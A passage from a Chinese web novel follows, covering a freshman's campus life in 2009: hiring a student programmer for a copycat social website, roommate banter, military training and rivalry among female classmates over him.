这不才刚进大学，就吸引了赵兰蕤这种级别的大美女。 如果说肖茜之流、她还有足够底气不放在眼里。 那么面对赵兰蕤，夏灵珊就真的慌了。 “要不……我也给小陈夹个菜，或者给他剥个虾？” 夏灵珊这般想着，却又实在做不出来——夏大小姐终究是傲娇的。 而且以小陈最近对她的态度，哪怕真这么做了，这家伙也不会接受的吧。 夏灵珊越想越苦涩，却也无可奈何。 饭吃到一半时，陈让跟赵兰蕤聊了个正事——关于“阿衣那”的。 赵兰蕤妈妈任职的慈善机构大名鼎鼎，传说中的“红会”。 她跟陈让说了自己想法——找个时间，跟陈让一起去趟电子科大，找阿衣那了解清楚情况后，整合成材料，然后由她妈妈出面跟红会申请，由红会资助阿衣那完成学业。 陈让听完，没有赞同，而是提供了另一套方案。 原因有二。 其一，他对红会没有好感。 其二，他觉得“授人予渔不若授人予鱼”，要考虑到阿衣那的自尊心。 陈总的方案是这样的—— 去找电子科大的相关领导，让校方给阿衣那提供一个勤学检工的机会。 赵兰蕤听完，先说了句“是我欠考虑了”，然后问陈让。 “那你认识电子科大的领导吗？” 陈让摇头，说自己不认识，但是可以认识。 暑假时他在蜀大常务副goat孙柯那疯狂刷好感度，又不是白刷的——这事儿他可以找孙柯帮忙。 但是拿这么小个事去麻烦孙副校长，肯定有点亏。 好感度这玩意儿——用一次就会少一截。 不过事情都说到这里了，亏了也就亏了吧。 谁叫陈总心里、终究还有柔-软？ 为什么不直接掏钱赞助阿衣那上大学——就那天在火车站陈总对阿衣那的观察，人家小姑娘大概率是不会接受的。 “陈让，电子科大那边的校领导，还是我来联系吧！” 要不说人家赵姑娘兰心蕙质。 她通过观察陈让的微表情，居然判断出来了——由陈让去联络电子科大那边的校领导，他会付出代价。 陈让疑惑。 “赵同学，你有渠道？” “有的，”赵兰蕤笑了笑，“我舅舅——” 环视一圈，生生把接下来的话憋了回去——人多嘴杂，她觉得说出来不太好。 “反正……你就不用担心了，等我的好消息吧。” “行。” 陈让点点头，倒也没多想。 赵兰蕤一看就家世不俗，家里有些关系也正常。 吃完饭后、六零六哥仨，嘴都没擦干净就脚底抹油开溜。 不然呢，继续留下来被陈六子滋？ 可怜他们三个恋爱都没谈过的倔强小青铜，居然误入了两大校花级美女宫斗的高端王者局。 整场饭局，哥仨都手不是手、脚不是脚，字面意义上的如坐针毡。 却还没处撒火——陈六子又不是故意滋他们的。 只能说啊，人跟人的差距，有时候是比人跟猪还要大。 别说杨少杰和薛文彬哥俩，便是王大少这样的超级富二代，此时心中也泛起强烈无力感。 颜值、成绩、装逼、立棍、撩妹…… 陈六子这货，尼玛所有维度都没有短板，甚至还都强的鸭批！ 六零六哥几个撤走后，赵兰蕤也挥手跟陈让说了“再见”。 赵同学情商多高，陈让仨室友一走，她可不就成了“外人”。 陈让、黄博文跟夏灵珊，人家三人可是发小。 强行凑一起，属实没必要。 反正以陈让对夏灵珊的冷淡态度，她的机会绝对很大。 而且夏灵珊在双流区的江安校区，坐校车过来都要一个多小时，她却是“近水楼台先得月”。 这里请委员长出来一下。 “优势在我！” 赵兰蕤真的不急。 而且刚才饭局到尾声时，她还留了个钩子。 跟陈让室友们说了，她们寝室的姑娘都单身，找个时候，可以由她跟陈让来组织，两个寝室一起聚个餐。 她就是这样的姑娘。 喜欢就努力去接触，然后再决定要不要更喜欢。 赵兰蕤走后，陈让带着夏灵珊跟黄博文，把蜀大望江校区逛了一圈，然后连哄带骗把两人送走。 不然呢，蹭了他的午饭，难道还想蹭晚饭？ 讲道理，地主家也没有余粮。 好吧，陈总也不至于抠成这个样子。 根本原因，是林大美人一直在QQ上召唤他，说她已经跟室友们聚完餐了，要陈让赶紧去遛她。 而且陈让下午还正事要办。 不是准备山寨校内网，搞个“新和连胜”么。 两天前就在校园论坛发了招聘帖，这两天陆续收到许多回复——蜀大计科学院、多得是在外面接私活儿的学生。 大多数大四准毕业生——可以收获实习经验。 甭管有用没用，写进档案起码好看。 然后就是想赚外快的研究生，特别是那些个在谈恋爱的——无论什么年代，这玩意儿都费钱。 陈总挑挑拣拣，最终敲定了一个目标人选，约他今天下午三点在学校图书馆见面。 为什么确定是“他”？ 这家伙ID叫“火鸡味锅巴”，讲道理，哪有女生会取这么骚的ID。 为什么会在那么多应征者中选“火鸡哥”？ 陈总觉着这是冥冥中的缘分。 他的论坛ID叫做“乌龟的黑头”，跟火鸡哥都可以组CP了。 接上林静姝后，两个“好朋友”手牵着手，直奔学校图书馆。 进门后，陈让瞅了眼“火鸡哥”发给他的信息，视线逡巡，最终目光定格在靠窗位置一个大妹子身上。 大妹子长得比较娇小，戴着副黑框高度近视眼镜，长得呆萌呆萌，有点像女版“江户川柯南”。 陈总有些der——“火鸡哥”怎么能是个女的？ 走过去后，不确定的对切口。 “地振高冈，一派西山千古秀！” “门朝大海，三河合水万年流！” “火鸡味锅巴？” “乌龟的黑头？” “久仰久仰！” “幸会幸会！” “我叫陈让……” “我叫杨艺……” 切口完全对得上。 也就是说、“火鸡哥”的确是个妹子，还是个萌妹子。 陈总转头看向林静姝：“呦呦同学，我要聊些正事，你无聊的话，可以自己找本书看看。” 林静姝摇头：“富贵同学，书没你好看，我不看书，我看你。” 陈总：“……” 林大校花没事儿就拿大招当平A，他是真有些扛不住。 看吧，好不容易攒点血条，又尼玛给清零了。 杨艺扫了眼林静姝，眼中满是惊艳。 人类对美的欣赏存在共性，学神少女论外级别的美貌，斩男亦斩女。 “火鸡……咳，杨艺对吧，我们开聊？” “好的。” 杨艺开始跟陈让说她的看法。 陈总写在帖子上的要求，她基本都能做到。 不过单靠她一个人肯定不行，至少还要招五六个跟她差不多水平的。 时间的话，需要七到十天。 “我可以给你十个招募名额，时间给你放宽到半个月，那时候新生军训也结束了，网站半月后内测，效果应该会不错……” “老板，这么豪爽的？” “跟豪爽不豪爽没关系，我不懂技术，但是我尊重技术，要把一个网站从无到有搭建起来——哪怕是山寨——也需要烧很多钱，我有这个心理准备。” “老板，恕我冒昧啊，话谁都会说，但是——” 杨艺欲言又止。 陈总秒懂。 “给我个银行卡号，回头我先给你转五万。” 杨艺张大嘴巴：“老板，你就不怕我携款私逃？” 陈让笑了笑：“疑人不用，用人不疑，再说了，一张九八五大学的毕业证，怎么的、也不止值五万吧？” “妥了，老板你一看就是干大事的，只要钱到账，我这边立马开工……不过我还有个问题。” “你说——” “老板你在帖子中要求，网站引流时，需要弹窗广告，这个倒是简单……但是一定需要用美-女图片来做弹窗吗？” “你的描述不准确，我要的是性感的、妖娆的、挑-逗的、暴露的……美-女图片。” “所以……老板……你打算打擦边球？” “缤果！” “可是……老板你路子这么野，就不怕网站被封？” “就说能不能做？” 两人谈到这里，陈总微微皱眉。 心想杨艺要是有道德洁癖，接受不了他这一套，那就只能换人。 “能——” 却没想到杨艺果断点头，然后很骄傲的补充。 “老板，你想玩野路子、找我算是找对人了！我可是好几个种子论坛的版主，有相应权限的，你要的图片，我随便就能扒几十个G！” “卧槽——” 陈总被震撼到了。 杨艺怎么看都是个萌妹子，没成想却是个“老司机”。 这么反差的？ 转念一想—— 陈总觉得自己还是年轻，刚才居然还在担心杨艺有的道德洁癖。 讲道理，这姑娘论坛ID都叫“火鸡味锅巴”了，又能纯洁到哪儿去？ 要不是林静姝就在边上，陈让肯定会抑制不住对“火鸡哥”的敬仰之情，高呼一句“老司机、带带我”。 第75章 难道是个抖M？ 第七十五章 难道是个抖M？ 跟杨艺聊完正事后，陈让又跟这位极具反差感的萌妹老司机闲聊了一阵，获取了一些她的基本信息。 杨艺今年大四，蜀大计科学院的，成绩非常好，每年都斩获国家一等奖学金，专业技能绝对过硬。 而且还懂黑客技术。 不是半吊子，师出名门，郭胜华的关门弟子。 郭胜华何许人？ 稍微了解过一下01年的中美黑客大战、以及红客联盟兴衰史的同学，应该都知道，这位大佬牛叉到何等程度。 “我这是花了一份钱，满足了两项需求啊……以后网站的安全维护工作，也不用愁了……” 陈总挑了挑眉，寻思自己气运这么好的吗。 如此简单、就淘到了一位SSR级别的宝藏程序员！ 石锤了——他陈富贵果然是“未来大帝”，有大气运护体的。 “兵马未动，粮草先行。” 闲聊结束后，陈让借助学校图书馆的电脑，给杨艺转了账，好让她去招兵买马。 零九年又不是九九年，网上是可以转账的。 不过需要借助“U盾”——许多零零后、怕是压根没听过这玩意儿。 完成转账后，陈总先把自己的“事业脑”切换成了“友爱脑”，然后问林静姝。 “呦呦同学，你打算让你最好的朋友怎么遛你？” 学神少女想了想：“陈让，就跟前两天一样嘛，我们逛学校、踩蚂蚁！” 陈让笑了笑：“今天咱们就放蚂蚁一把吧。” 天天踩蚂蚁、人家蚂蚁肯定有话说的——什么仇什么怨啊，难道我也是你们计划的一环？ “唔……那我们下午跟晚上干什么？” 学神少女的确很机智。 她问得不是“下午”，而是“下午跟晚上”。 也就是说，某人别想跟前面两次一样、吃了晚饭就送她回宿舍。 “带你去校外玩玩吧……譬如……打电动？” “昂！” 说到打电动，林大美人“主观能动性”直接拉满。 明媚桃花眼中、又开始结蜂蜜了。 打电动——准确描述是跟陈让一起打电动——可是她最喜欢的两件事之一吖。 守恒定律无处不在。 整个下午，陈让都在陪林静姝打电动。 虽然他很愉悦，但是他也很开心。 “八戒”这边可就惨了—— 六零六哥仨，回到宿舍后，表情一个比一个丧。 为什么——中午吃饭时给某人滋的。 薛文彬是最快调整过来的。 “书中自有颜如玉！” 自我PUA一番后，他化悲伤为力量，提前预习起了《高等数学》。 杨少杰倒也还好。 他是最有自知之明的。 跟谁比不好，跟“六哥”比……那不是给自己找不痛快？ 就这几天的相处，他明显感觉得到，陈让跟他压根没在一个段位，甚至不在一个维度。 别说他了，放眼整个蜀州大学、近万名新生，这家伙怕也是最闪耀的那一个。 而且他还有雯雯同学嘛。 一念至此，他掏出手机，准备给刘雯发条短信，问她在干什么。 他肯定做不到陈让那般“我这人从不撩妹、都是妹子撩我”。 他现在的策略，恰是前王子聪给他灌输的那套。 不停跟妹子嘘寒问暖，先让妹子习惯他的存在。 哥仨里、真正走不出来的是王大少。 他进入了emo模式，跟其他两人吐槽： “挨千刀的陈六子，他妈的凭什么？一没我帅，二没我有钱，那两位大美人怎么就能为他争风吃醋？” 薛文彬正潜心研究高数，被王大少吵得很烦。 抬起头来，给了王子聪一个大白眼。 “老五，你这就属于心里没点逼数了，你跟六哥谁更有钱有待商榷……但是六哥瞎眼可见的比你帅！” 王大少气鼓鼓的回应：“薛老四，你个扑街，什么时候瞎的啊？六子的确有点帅，但顶天也就有我一半好吧……” 薛同学能说什么呢。 “老五，你开心就好。” “……” 王子聪更气，拍了正在编辑短信的杨少杰一下。 “杨老三，你来评评！” 边说边从兜里掏出一包软华子。 早就是个烟枪的杨少杰，嘿嘿笑着摸了根给自己点上。 美滋滋吸了口后，吹起了王大少的彩虹屁。 “君美甚，陈六子何能及君也！” 要换平时，室友吹自己的彩虹屁——哪怕是虚假的——王大少也会美滋滋的翘尾巴。 但是今天，听着杨少杰的吹捧，他心里却愈发苦涩，完全高兴不起来。 毕竟他故事里的“周芷若”，高中时代的白月光赵兰蕤，分明在倒追陈六子。 羡慕中夹杂嫉妒，嫉妒里又糅着恨意……诸多情绪涌上心头。 王子聪狠狠嘬着烟，眼眶逐渐泛红。 见王大少都快掉小珍珠了，薛文彬和杨少杰开始安慰他。 “老五，虽然你没有六哥帅，装逼貌似也装不赢，但是……” 先开口的是薛文彬。 努力找着王子聪可能胜过陈让的点。 很遗憾，没找到。 “咳，要不咱就别跟六哥比了……何必给自己找不痛快。” 王子聪：“……” 这货真在安慰他，而不是往他伤口上撒盐？ 换杨少杰上阵。 “老五，听哥们一句劝，咱把目标调低一点，赵大美女现在眼里全是六哥，你不可能有戏的。你还是去追米莱吧，以你的条件，拿下的概率不小。” “真的？” “我不就是例子么，你们都盯着米莱时，我果断对刘雯发起了攻势，现在我俩聊得可嗨了，说不定我才是咱们寝室第一个脱单的。” “你个狗比，是他妈在安慰我，还是在跟我秀啊？” 王子聪翻了个大白眼。 被挨千刀的陈六子秀也就罢了。 你杨少杰什么档次，也敢秀少爷我？ 此时杨少杰手机响了，来了条QQ信息，一看闪烁的头像——刘雯。 “你看，哥们儿没装吧，刘雯主动给我发消息哦。” 杨少杰正准备给刘雯发短信，还没发出去、刘雯就给他发QQ了——他心里肯定美滋滋。 满脸跑眉毛的点开刘雯头像，迫不及待想知道女神给他发了些什么。 这一看，杨少杰却是如遭雷击。 王子聪瞅了一眼，愣了两三秒，然后库库库的笑疯。 刘雯信息是这样的。 “杨少杰，你个王八蛋，我们删QQ吧！” 刘同学说到也做到。 等杨少杰再发消息过去，回应他的、就是大大的红色感叹号。 王子聪多贱。 明明杨少杰脸色都不对了，他还在疯狂补刀。 “杨老三，刘雯对你可真主动！” “你一定会是咱们宿舍第一个脱单的，陈六子绝对没你快。” “对了，想好以后你们的孩子上哪所幼儿园了吗？” 舒服了，王大少表示、真的舒服了。 让你杨老三搁少爷面前秀，现世报来了吧！ 杨少杰没有回应王子聪。 他看着手机屏幕上的红色感叹号，表情苦涩到了极点。 为……为什么啊？ 整个下午，陈让跟林静姝两人，都在蜀大附近的一家电玩城打电动，中间的过程，也不知道分泌了多少多巴胺。 何止是开心，简直是愉悦。 打完电动，在校外吃了晚饭，这对革命友谊愈发深厚的“好朋友”，又手拉着手回了学校，踩了足足一个小时的蚂蚁。 蜀大的蚂蚁们也是可怜，躲得了初一、却没能躲过十五，终究还是成了两人“友情维系计划”的一环。 陈让回到宿舍后，已经差不多晚上十点。 他是打算蛐蛐杨老三一顿的。 蜘蛛侠骑个马——你杨老三想舔刘雯尽管舔，能不能别通过编排老子来找谈资？！ 结果还没开怼呢，就从老实孩子薛文彬口中，知道杨少杰“失恋”了。 其实杨少杰跟刘同学也就加了个QQ，八字都没一撇。 但杨少杰不这么认为啊——加上刘雯QQ后，他心里满满都是恋爱的甜蜜，连两人未来孩子读哪所幼儿园都规划好了。 陈总努力憋着没笑出来。 杨少杰满脸幽怨。 “六哥，你也在笑我对吧？” “我不是，我没有，别瞎说——” “可你肩膀都忍不住在抽……” “好吧，我就是在笑你。” “……” 杨少杰再次自闭。 王大少插了句嘴：“行了，杨老三，你能别给自己加戏了吗，还失恋，说得好像刘雯已经是你女朋友了一样，你们也就加了个QQ好吧，指不定在刘雯那儿，你连备胎都不算！” 杨少杰不乐意了：“王老五，你还好意思说我——刚才也不知道是谁，搁那儿emo的不行，边抽烟边掉小珍珠，啧啧啧，果然是男儿有泪不轻弹，只因未到伤心处啊……” 陈让瞪向王子聪。 “啥，老五，你刚才掉小珍珠了？因为赵兰蕤？” 王大少连忙否认。 “我不是，我没有，别瞎说——” 讲道理，他多爱面子，宁愿食粪三斤，也不愿在陈让面前暴露自己破了大防啊。 陈让叹了口气，表情带着唏嘘。 “五哥，真没想到、你这样的高富帅，也会掉小珍珠啊——” “但是我能理解——所谓‘情不知所起、一往而深’，又所谓‘曾经沧海难为水、除却巫山不是云’，再所谓’世间文字八万个、唯有情字最伤人’……” 王大少出离愤怒：“六子，你再他妈搁那儿‘所谓’，信不信我扁你啊——” 陈让给了王子聪一记“大荒囚天指”：“急了，快看，兄弟们，王老五他急了。” 王子聪：“……” 开始找家伙。 觉得薛老四拿来健身的哑铃就不错，于是拎起来试手感。 “卧槽，王老五，你想什么，你还年轻啊，千万不要走上违法犯罪的道路……” 虽然陈总不相信王子聪真敢KAO自己，但是君子不立危墙，没敢再蛐蛐，端着脸盆洗漱去了。 洗漱完毕躺床上后，陈让翻开手机，发现QQ上多了条好友添加信息。 “陈让，我米莱，加我。” “喵喵喵？” 陈总就挺der。 这婆娘加他干嘛？ 沉吟片刻，果断点了拒绝。 讲道理，又不是什么人都有资格，当“未来大帝陈富贵”的QQ好友。 米莱？ 呵呵哒，她也配！ 二零零九年九月二号，蜀州大学零九届新生，正式展开为期半月的军训。 蜀州盆地的气候，九月初跟夏天基本没什么区别，秋老虎异常的凶猛。 不过早晨九点，天上那轮-大光球就开始抖擞威风，烤得军训生们“瓜米日眼”。 经济学院是个大院。 拢共一千三百多名新生，此时正在教官指导下、进行着枯燥的军训。 有多枯燥呢——前面几天，不是站军姿就是走正步。 上午两节军姿课站下来，中间休息时，大家都表情恹恹、焉头巴脑。 陈让也热，口干舌燥，开始懊恼怎么没提前买水。 至于为什么不现在去买——操场这边又没有小卖部，中间休息时间挺短，根本没时间去买。 便在此时，有人过来送水——经济学院大二大三的学长们。 “经院的学长们，这么体贴的吗？” 陈总表示很感动。 心想这种优良传统一定要保持下去。 暗自下定决心，等明年一零届学弟们军训，他也要来送水递水果。 “自己淋过雨，就要给别人撑伞！” 此乃人间大爱！ 此时一个学长走向自己。 陈总伸手、准备接过学长手里的冰镇矿泉水。 却没成想，学长很嫌弃的瞪了他一眼，然后径直从他身边走过，到了米莱面前，满脸讨好的说：“米学妹，渴了吧，学长这里有水！” 陈总：“……” 终究是错付了。 还以为经院的学长，个个都有大爱，都有被感动到的。 结果都尼玛狗学长，分明是来撩学妹的！ 陈让尴尬了一会儿后，收回了悬在半空的手，然后把自己知道的、所有“含妈量”极高的词汇，都送给了这群狗学长。 不只是他——许多男生都在骂骂咧咧。 学长们真的太狗了，手里矿泉水和饮料、全都给了女生，且越漂亮的女生，收到的就越多。 譬如米莱，收到了十几瓶，矿泉水、橙汁、可乐，应有尽有。 刚才站军姿时，陈总观察过，金融专业八个班，两百多个女生，米莱的颜值，绝对排得进前三。 考虑到她还是先天骚-货圣体——当个系花问题不大。 蜀大这样的九八五院校，其实没有“系”。 只有学院和下辖专业。 不过很多人会把“专业”叫做“系”。 譬如金融专业就是金融系。 图个通顺——“系花”肯定比“专业花”顺耳。 米莱作为“准系花”，能收到这么多水，自是符合情理。 她肯定喝不完，于是分给了身边的姐妹，自己只留了两瓶。 为什么是两瓶——犹豫片刻后，米莱咬着唇，拎着瓶矿泉水，走到了陈让面前。 “陈让，给你。” 这一幕，也不知惊掉多少眼球。 班上众同学肯定诧异。 米莱多高傲啊，进校几天了，就没见她跟班上男生说过话，更是没有哪个能成功加上她的QQ，此刻众目睽睽，她却主动给陈让送水？ 学长们则有些不爽，心里泛起些参差感。 米学妹，你怎么能把我们送的水、转送给这个叫陈让的男生？ 你这样做，搞得我们很像小丑啊。 陈总表情也很der。 实在闹不明白这婆娘是什么脑回路。 自己昨晚拒绝了她的好友申请，本以为她会很生气的，却没成想，她会主动给自己送水。 总不能说，这婆娘是个抖M吧。 第76章 此时此刻、恰如彼时彼刻 第七十六章 此时此刻、恰如彼时彼刻 米莱是不是个抖M暂且不论——略微沉吟后，陈让收下了这瓶水。 第一，他是真的渴。 第二，这么多人看着，他要不收，米莱就会彻底下不来台。 毕竟同班同学，日后四年都抬头不见低头见，没必要把事情做的太难看。 小米同学给陈总送完水后，倒也没跟他说什么，很快摇晃腰肢、回了女生群体。 有一句说一句，米莱的腰是真细，不堪盈盈一握夸张了，但绝对当得起一句“小蛮腰”，走起路来，腰肢自然摇摆，仿佛一条妖娆的水蛇。 王子聪凑到陈让身边，满脸不爽的说：“六子，你他妈当个人吧，昨天中午两个校花级大美女为你争风吃醋还不够，连米莱也不放过？求求了，六爷您高抬贵手，就把小米同学留给卑微的小王吧！” 陈让边喝水边点头：“好的，小王八。” 王大少：“……” 靠，年轻了，只知道说鸡不能说巴，没想到王字后面也不能加。 脸颊抽搐一阵后，王子聪接着问：“六子，说正经的，你他妈什么时候跟小米同学勾搭上的？” 许多男生都竖起耳朵。 米莱好歹是系花级美女，就这几天功夫，已在班上有了不少拥趸。 论绝对颜值，小米同学没那么高。 但她真就是那种先天骚-货圣体。 举手抬足，一颦一笑，总能不经意的、露出一抹恰到好处的妩媚。 用后世的话说——性张力拉满！ 陈让翻白眼：“王老五，注意一下你的用词，什么叫勾搭，好歹九八五大学生，怎能如此粗鄙？” 王大少瘪嘴：“这位同学，请正面回答问题。” 陈让耸肩：“对不起，我没法回答，因为我也不知道……小米同学为什么会给我送水。我也可以对天起誓，从来没有‘勾搭’过她。” “切——”王子聪表示不信，“你敢说你没有小米同学的QQ？” “那还真没有。” 跟王子聪扯淡时，陈总还在忙着聊QQ。 不是跟林大美人，而是跟杨艺——两人正在商讨几处昨天没聊到的建站细节。 “老子才不信！” 王子聪这货一直没什么边界感。 这不就趁着陈让没注意，一把抢过了他的手机，飞速翻看。 薛文彬和杨少杰也把脑袋凑了过来。 那几个明确表示想追米莱的男生，也在暗戳戳偷看。 结果陈让没撒谎。 他的好友列表里，的确没有米莱。 同时王子聪等人还发现——昨晚米莱给陈让发过好友申请，但是陈让没同意。 众人：“……” 他们这几天，都在想方设法加米莱QQ，却没一个成功。 虽然小米同学这么做，不过是在凹人设，但她凹得很成功——成功在班上男生群体中、树起了自己高不可攀的形象。 咱哥几个可劲儿舔，主动加QQ而不得，米莱主动加陈让却被拒了。 王子聪为首，哥几个参差感拉满。 感觉被滋了一脸，但是没处说理去。 陈让又没拿出来显摆，而是王子聪手贱抢了他手机。 “我们舍不得骑的车，你他妈站起来蹬？” 这话放这里不恰当，但哥几个还是有了这样的感觉。 就很烦。 “王老五，你他妈能不能有点边界感，手机还我——老子聊正事儿。” 陈让边翻白眼、边从王子聪手机夺过手机。 “哎——”王大少突然叹了口气，“六子，我现在真有点服你了，要不你出本书吧，就写怎么撩妹的！” 陈让继续翻白眼。 “要跟你说几遍，我真的不会撩妹，也从来没撩过妹！” “是是是，你陈六子都是被妹撩，不是校花就是系花！” “……” 陈总瞅了王子聪一眼。 心想老子也没私底下收买你啊。 这么主动给老子当捧哏的？ 从周围班上男生的表情来看，他们都感受到了一波“陈总牌”的震撼。 “六子，说正经的——”王子聪接着开口，“你觉得米莱能当系花吗？” “能的吧，咱们金融系也找不出比她更好看的女生，有那么两三个，也就跟她差不多。” “院花有戏不？” 听人劝，吃饱饭。 昨晚杨少杰那番话，王子聪其实是听进去了的。 赵兰蕤对陈让那么主动——眼目前王大少又没有信心能够压陈让一头——该放弃就得放弃。 他现在正式把米莱当成了目标。 以王大少的尿性，撩妹其实也是为了装逼。 他当然希望米莱能当系花、甚至院花——如此追到手后，才会更有面子。 虽然这几天被陈让打击的很惨，但王大少本质上还是很自信的——压根没考虑过，自己能不能追到。 “院花？”陈让果断摇头，“那百分百没戏。” 陈总当然知道王子聪心里那点小心思。 但是讲道理——林静姝也经济学院的。 米莱就是再漂亮十倍，跟某位学神少女比，她也“开门”不起来，得下去“沉淀沉淀”。 “六子，你这么确定？我看隔壁经济系，也没有比米莱更好看的啊，顶天也就跟她差不多，我说六子，你能不能有点集体荣誉感？真要选院花，在条件都差不多的情况下，咱们肯定得把我们金融系的妹子捧上去啊。” 陈让耸耸肩：“我也很想有集体荣誉感，但是客观事实不以主观意识而转移，王老五，请你相信我，要不了多久，你就会明白，你现在把米莱当院花，有多愚蠢可笑。” 王子聪开始翻白眼：“屁——哪怕经济系真有比米莱更漂亮的，老子也懒得多看一眼，别问为什么，问就是集体荣誉感！” 班上其他男生，也都差不多表情。 在该死的集体荣誉感驱使下，午休时，男生们甚至都开始给米莱造势了，俨然要把她捧成“经院之花”。 上午军训时，林大美人论外级别的美貌，为什么没有暴露？ 皮裤套棉裤，肯定有缘故。 她戴了顶遮阳帽，还把帽檐压得极低。 这也导致了，并没有多少人，注意到经济一班有位天仙。 下午她就藏不住了。 下午集合，教官明确说了，军训就要有军训的样子，谁都不能戴帽子。 林大美人取下遮阳帽后，率先炸锅的是本班方阵，然后是经济系八个班，接着朝金融系蔓延，最后浩浩荡荡的、席卷了整个经济学院。 “卧槽——” “最是那一低头的温柔，不胜凉风的娇羞……这是一位仙女吧？” “听说隔壁金融系有个叫米莱的，都被吹成院花了，跟咱们经济系这位比，提鞋都不配吧！” “绝对不配，米莱我上午就去偷看过，倒还算漂亮，但是跟这位天仙比，她就是个类人猿！” “米莱顶天八十五分，这位起码九十九分！” “为啥不是满分，大兄弟你阈值这么高的？” “因为她不是我女朋友！” “……” 类似的对话，发生在操场上许多方阵，也蔓延到了金融一班。 肯定是跑去偷看过了，王大少一副“我承认我很浅陋”的表情，拍着陈让的胳膊。 “六子，你他妈先知？” “咋啦？” “经济系有位天仙啊，我跟你讲，要没见过真人，你都想象不出来她有多漂亮，看过她以后，我才知道，我上午有多浅薄无知，有多孤陋寡闻……我就是蝉不知雪、井底之蛙……” “区区米莱，也配跟她比？那是碰瓷儿！你也别不信，哪怕把赵兰蕤和夏大美女拎过来，跟这位也有档次上的差距！” 看着表情惊诧、仿佛“一粒蜉蝣见青天”的王子聪，陈让挺想笑。 他憋住了。 “是不是哦？” “骗你我食粪三斤！” “我怀疑你又在骗吃骗喝。” “……” 脸颊抽搐一阵后，王大少就要拽着陈让去隔壁经济系看天仙。 薛文彬和杨少杰也凑了过来——这俩货显然也去偷看过。 “六哥，老五这次还真没吹牛，经济系真有位天仙！” “确实是天仙啊，那颜值、那身段、那气质……哪怕拿着放大镜，都挑不出任何瑕疵！六哥，你也去看看吧，相信我，绝对的不虚此行！” 陈让摆摆手，说我就不去看了——哪怕你们说的那位真是天仙。 王子聪好奇：“为啥？” 陈让耸肩：“不早跟你们说了，我是个脸盲。” “靠——” 王大少觉得某人在装逼，但是没证据。 他一把拽住陈让的胳膊。 “六子，那你就更得去看看了，相信我，这位天仙绝对会治好你的脸盲症！” 哥俩正在拉扯，刘雯凑了过来，怼了王大少一顿。 “王同学，你喜欢看美女就自己去看呗，干嘛非要拉着陈让？我说你们男生可真是无聊，看到一位稍微好看点的女生就满脸猪哥样，你们说的那位天仙，就算她真比小米漂亮，又能漂亮到哪儿去？” 杨少杰立马觍着脸：“雯雯，我就不爱看什么天仙，只喜欢看你。” 刘雯翻了好大一个白眼：“那你还是去看天仙吧，我可不喜欢被你看。” 杨少杰：“……” 到现在他也不明白，刘雯对他的态度，为何突然变得如此冷漠残忍。 明明刚加上QQ时，跟他还聊挺好的。 王子聪笑得“库库库”的：“杨老三，这下舒坦了吧，死舔狗！” 杨少杰立马回怼：“王老五，我舔狗怎么啦？总比你好，想舔都舔不着，喜欢人家赵大美女那么多年，结果呢，人家赵大美女都不知道有你这么个人……悲哀哟。” 昨晚这两人就卯上了，然后愈演愈烈。 这波互怼，属于精准戳中了对方的肺管子。 “焯！” 王子聪一副要干杨少杰的架势。 杨少杰跟着比拳。 “干嘛，让外人笑话。” 陈总将两人隔开。 “六子，我给你面子。” “六哥，也就你拉着！” 两人对视一眼后，都松开了拳头。 俩货也不敢真打架，有个台阶也就下了。 此时刘雯看向陈让，眸色冰冷。 “陈让，小米昨晚加你好友，还有今早给你送水，其实都是因为昨天的误会，在跟你表达歉意，而不是真的对你有什么想法。” “我希望你不要想太多，更不要把这这些、当成你在男生中炫耀的资本！” “你这样做，真的很恶心！” 陈总被这婆娘训得莫名其妙。 “刘同学，我炫耀什么了？” 刘雯继续冷笑：“呵呵，你自己清楚。” 陈总最烦这种小仙女，所以回了她三个字。 “神经病。” “雯雯，算了……” 米莱走了过来，想拉走刘雯。 刘雯不依不饶。 “小米，你拉我干嘛，不知道他们男生怎么编排你的啊，居然说你是陈让的舔狗，他也配？” 三人成虎、众口铄金。 昨晚陈让拒绝了米莱的好友申请，又因为王子聪没有边际感、抢了陈让的手机，让这事儿在男生群体中传开了。 传着传着就变了味。 米莱终究还是好面子的。 她看向某人：“陈让，你是很过分，我就是单纯的想跟你道个歉，你却那么编排我——” “……” 陈总就他妈无语。 这事儿闹的。 黄泥巴掉裤裆，不是屎也是屎。 正想跟米莱说清楚，突然传来骚动。 今天下午、因为逆天颜值轰动整个操场的林静姝，正缓步走向金融一班所在区域。 一百个人穿军训服，九十九个都不会好看。 穿在林静姝身上，却像国际顶尖裁缝，为她量身定做的款型。 此刻她脸上有些汗珠，发丝也是湿湿的，相较平时别有番风情。 许多目光随她移动。 六零六哥仨，头皮开始发麻。 因为他们发现，这位天仙的目光、始终定格在陈让身上，脸上笑意盈盈，眼中含情脉脉。 此时此刻，恰如彼时彼刻—— 第77章 出口转内销2.0 第七十七章 出口转内销2.0 此时此刻，恰如彼时彼刻——昨天中午蜀锦楼，赵兰蕤和夏灵珊，不也是这么走向陈让的？ 现在这位经济系的天仙，她居然也—— 六零六哥仨，不由张大嘴巴，幅度之大，怕能生吞两百瓦大灯泡。 米莱、刘雯等班上女生，则都眼神闪躲，甚至深深埋下脑袋。 其实林静姝根本没有看其他人——她眼中只有自己的好朋友——但是面对她，金融一班的女生们，很难不自卑。 具象化一点描述——好像突然被砍掉了十公分-身高。 无数注目礼中，林静姝走到某人面前，递给他一瓶没开过的矿泉水。 “呦呦同学，给我喝的？” “富贵同学，不是哦，是我要喝，但是我拧不开。” “？？？” 陈总很想甩一张“黑人问号脸”。 讲道理，哥们儿可是看过女侠您出手的。 您那实力，“倒拔垂杨柳”略显夸张，来个“林教头风雪山神庙”不手拿把掐？ 会拧不开瓶盖？！ 学神少女开始解释——其实用狡辩更恰当。 “陈让，请你相信我，我真的拧不开，中午你都没有跟我一起吃饭，我吃两口就不想吃了，现在浑身软绵绵，一丢丢的力气都木有！” “……” 陈总能说什么呢，只得拧开递给她。 讲道理，她只不过想过来找自己最好的朋友说说话，她能有什么错？ 或许自己也知道“拧不开瓶盖”这个理由过于蹩脚，林静姝喝了一小口矿泉水后，就把瓶口往某人嘴边凑。 “陈让，你也喝！” 某人的确也口渴了，咕噜咕噜灌了一大口。 然后两人坐在人工草坪上，肩膀挨着肩膀唠嗑。 这个过程，正在维系革命友谊的两个好朋友，也不知道收获了多少注目礼。 林静姝全数无视，或者说她根本没发现。 作为一个“友爱脑”，她恨不得多长几只眼睛，然后全拿来看自己的“好朋友”，哪有功夫关注其他人？ 陈让靠着厚脸皮倒也能豁免——爱看就看吧，未必陈总还能少块肉。 “原来经济系这位天仙，才是六子的女朋友……” 